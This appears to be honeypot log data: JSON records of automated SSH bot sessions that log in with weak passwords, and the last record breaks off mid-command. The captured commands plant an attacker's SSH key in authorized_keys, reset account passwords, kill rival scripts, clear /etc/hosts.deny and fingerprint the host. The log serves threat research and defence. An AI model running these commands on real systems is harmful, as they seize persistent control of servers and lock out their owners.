{"id":"9c9204b5-b416-4d6d-b3d1-eccace0e90c5","name":"boreal-serene-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":45992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":544,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:55:24.223136+00:00","ended_at":"2026-08-27T00:55:25.280584+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T00:54:58.053134+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:54:58.589570+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:55:06.347880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:55:06.927182+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:55:07.471638+00:00","kind":"input","latency_ms":null,"data":"echo \"root:aAw9cQPRmrla\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:55:08.013595+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:55:08.542946+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:55:09.290498+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:55:09.844426+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:55:10.750692+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:55:11.287269+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:55:12.451766+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:55:13.003942+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:55:13.664601+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:55:14.277484+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:55:14.754826+00:00","kind":"output","latency_ms":null,"data":" 00:55:14 up 6 days, 21:45, 0 user, load average: 0.31, 0.28, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:55:15.678897+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:55:16.140536+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:55:16.677952+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:55:17.137019+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:55:17.840464+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:55:18.594539+00:00","kind":"output","latency_ms":null,"data":"top - 00:55:18 up 6 days, 21:45, 0 user, load average: 0.31, 0.28, 0.25\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:55:19.131656+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:55:19.460262+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:55:19.992453+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:55:20.375159+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:55:20.902485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:55:21.590159+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:55:22.330041+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:55:23.690708+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:55:24.224374+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:55:25.103556+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"brahim","method":"password","accepted":true,"tier":"other"}]} {"id":"9dc4ef9c-3031-4587-b567-997bc168067c","name":"gleaming-austere-guanaco","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":42424,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":567,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:52:18.999740+00:00","ended_at":"2026-08-27T00:52:20.000176+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2170,"events":[{"seq":1,"at":"2026-08-27T00:51:52.070552+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:51:52.669635+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:52:00.848670+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:52:01.519391+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:52:02.149610+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1111\\ni1mHboJiz6VT\\ni1mHboJiz6VT\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:52:02.711747+00:00","kind":"input","latency_ms":null,"data":"echo \"1111\\ni1mHboJiz6VT\\ni1mHboJiz6VT\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:52:03.298143+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:52:03.770913+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:52:04.346634+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:52:05.319891+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:52:05.899757+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:52:06.976544+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:52:07.542581+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:52:08.314146+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:52:08.881303+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:52:09.213600+00:00","kind":"output","latency_ms":null,"data":" 00:52:09 up 6 days, 21:42, 0 user, load average: 0.15, 0.16, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:52:09.780441+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:52:10.422109+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:52:11.030549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:52:11.915328+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:52:12.480171+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:52:13.315671+00:00","kind":"output","latency_ms":null,"data":"top - 00:52:13 up 6 days, 21:42, 0 user, load average: 0.15, 0.16, 0.12\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:52:13.893423+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:52:14.759164+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:52:15.319401+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:52:15.920183+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:52:16.480653+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:52:16.792634+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-27T00:52:17.557590+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:52:18.439560+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:52:19.001189+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:52:19.820770+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"1111","method":"password","accepted":true,"tier":"other"}]} {"id":"cc4229b0-76f4-4588-b70a-92eee7a51923","name":"sincere-verdant-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":39982,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":516,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:49:16.596636+00:00","ended_at":"2026-08-27T00:49:17.603128+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2169,"events":[{"seq":1,"at":"2026-08-27T00:48:48.425936+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:48:49.216299+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:48:58.916231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:48:59.415080+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:48:59.932404+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin123\\nrF4UWX4vUhQ3\\nrF4UWX4vUhQ3\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:49:00.519558+00:00","kind":"input","latency_ms":null,"data":"echo \"admin123\\nrF4UWX4vUhQ3\\nrF4UWX4vUhQ3\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:49:01.062231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:49:01.610591+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:49:02.157747+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:49:03.401660+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:49:03.918262+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:49:05.214404+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:49:05.729235+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:49:06.090112+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:49:06.600597+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:49:07.365780+00:00","kind":"output","latency_ms":null,"data":" 00:49:07 up 6 days, 21:39, 0 user, load average: 0.16, 0.17, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:49:07.952434+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:49:08.461117+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:49:08.975156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:49:09.235761+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:49:09.761462+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:49:10.278730+00:00","kind":"output","latency_ms":null,"data":"top - 00:49:10 up 6 days, 21:39, 0 user, load average: 0.16, 0.17, 0.17\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:49:10.998553+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:49:11.858783+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:49:12.387769+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:49:13.253433+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:49:13.771644+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:49:14.317240+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":29,"at":"2026-08-27T00:49:14.827063+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:49:16.083474+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:49:16.597413+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:49:17.444433+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"admin123","method":"password","accepted":true,"tier":"other"}]} {"id":"9f734da3-9d18-470b-8ac2-f370ec450cbf","name":"cobalt-smooth-seal","protocol":"ssh","channel_kind":"exec","src_ip":"179.102.26.14","src_port":3832,"username":"core","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":420,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:47:10.978402+00:00","ended_at":"2026-08-27T00:47:11.698129+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2042,"events":[{"seq":1,"at":"2026-08-27T00:46:57.911439+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:46:58.332089+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:47:02.933229+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:47:02.933745+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:47:03.354258+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nj9OZDuxuFB4O\\nj9OZDuxuFB4O\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:47:03.773399+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nj9OZDuxuFB4O\\nj9OZDuxuFB4O\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:47:04.194248+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:47:04.194804+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:47:04.615050+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:47:05.148384+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:47:05.573121+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:47:06.174484+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:47:06.597312+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:47:06.598088+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T00:47:07.019770+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:47:07.020273+00:00","kind":"output","latency_ms":null,"data":" 00:47:07 up 6 days, 21:37, 0 user, load average: 0.07, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:47:07.439928+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:47:07.440623+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:47:07.862536+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:47:07.863111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:47:08.283260+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:47:08.283696+00:00","kind":"output","latency_ms":null,"data":"top - 00:47:08 up 6 days, 21:37, 0 user, load average: 0.07, 0.09, 0.07\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:47:08.705392+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:47:08.707266+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:47:09.125066+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:47:09.125882+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:47:09.545081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:47:09.545589+00:00","kind":"output","latency_ms":null,"data":"core"},{"seq":29,"at":"2026-08-27T00:47:09.966421+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:47:10.557862+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:47:10.979104+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:47:11.566480+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"core","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a2b864d8-6190-407a-b621-bf22434555cd","name":"nameless-seaward-onager","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":57348,"username":"gitea","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":508,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:46:10.720378+00:00","ended_at":"2026-08-27T00:46:12.209171+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2163,"events":[{"seq":1,"at":"2026-08-27T00:45:43.482186+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:45:44.028819+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:45:53.988289+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:45:54.843435+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:45:55.362406+00:00","kind":"input","latency_ms":null,"data":"echo -e \"gitea123456\\nPF786Ly7o4gn\\nPF786Ly7o4gn\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:45:55.856924+00:00","kind":"input","latency_ms":null,"data":"echo \"gitea123456\\nPF786Ly7o4gn\\nPF786Ly7o4gn\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:45:56.354940+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:45:56.777608+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:45:57.450854+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:45:58.489001+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:45:58.995717+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 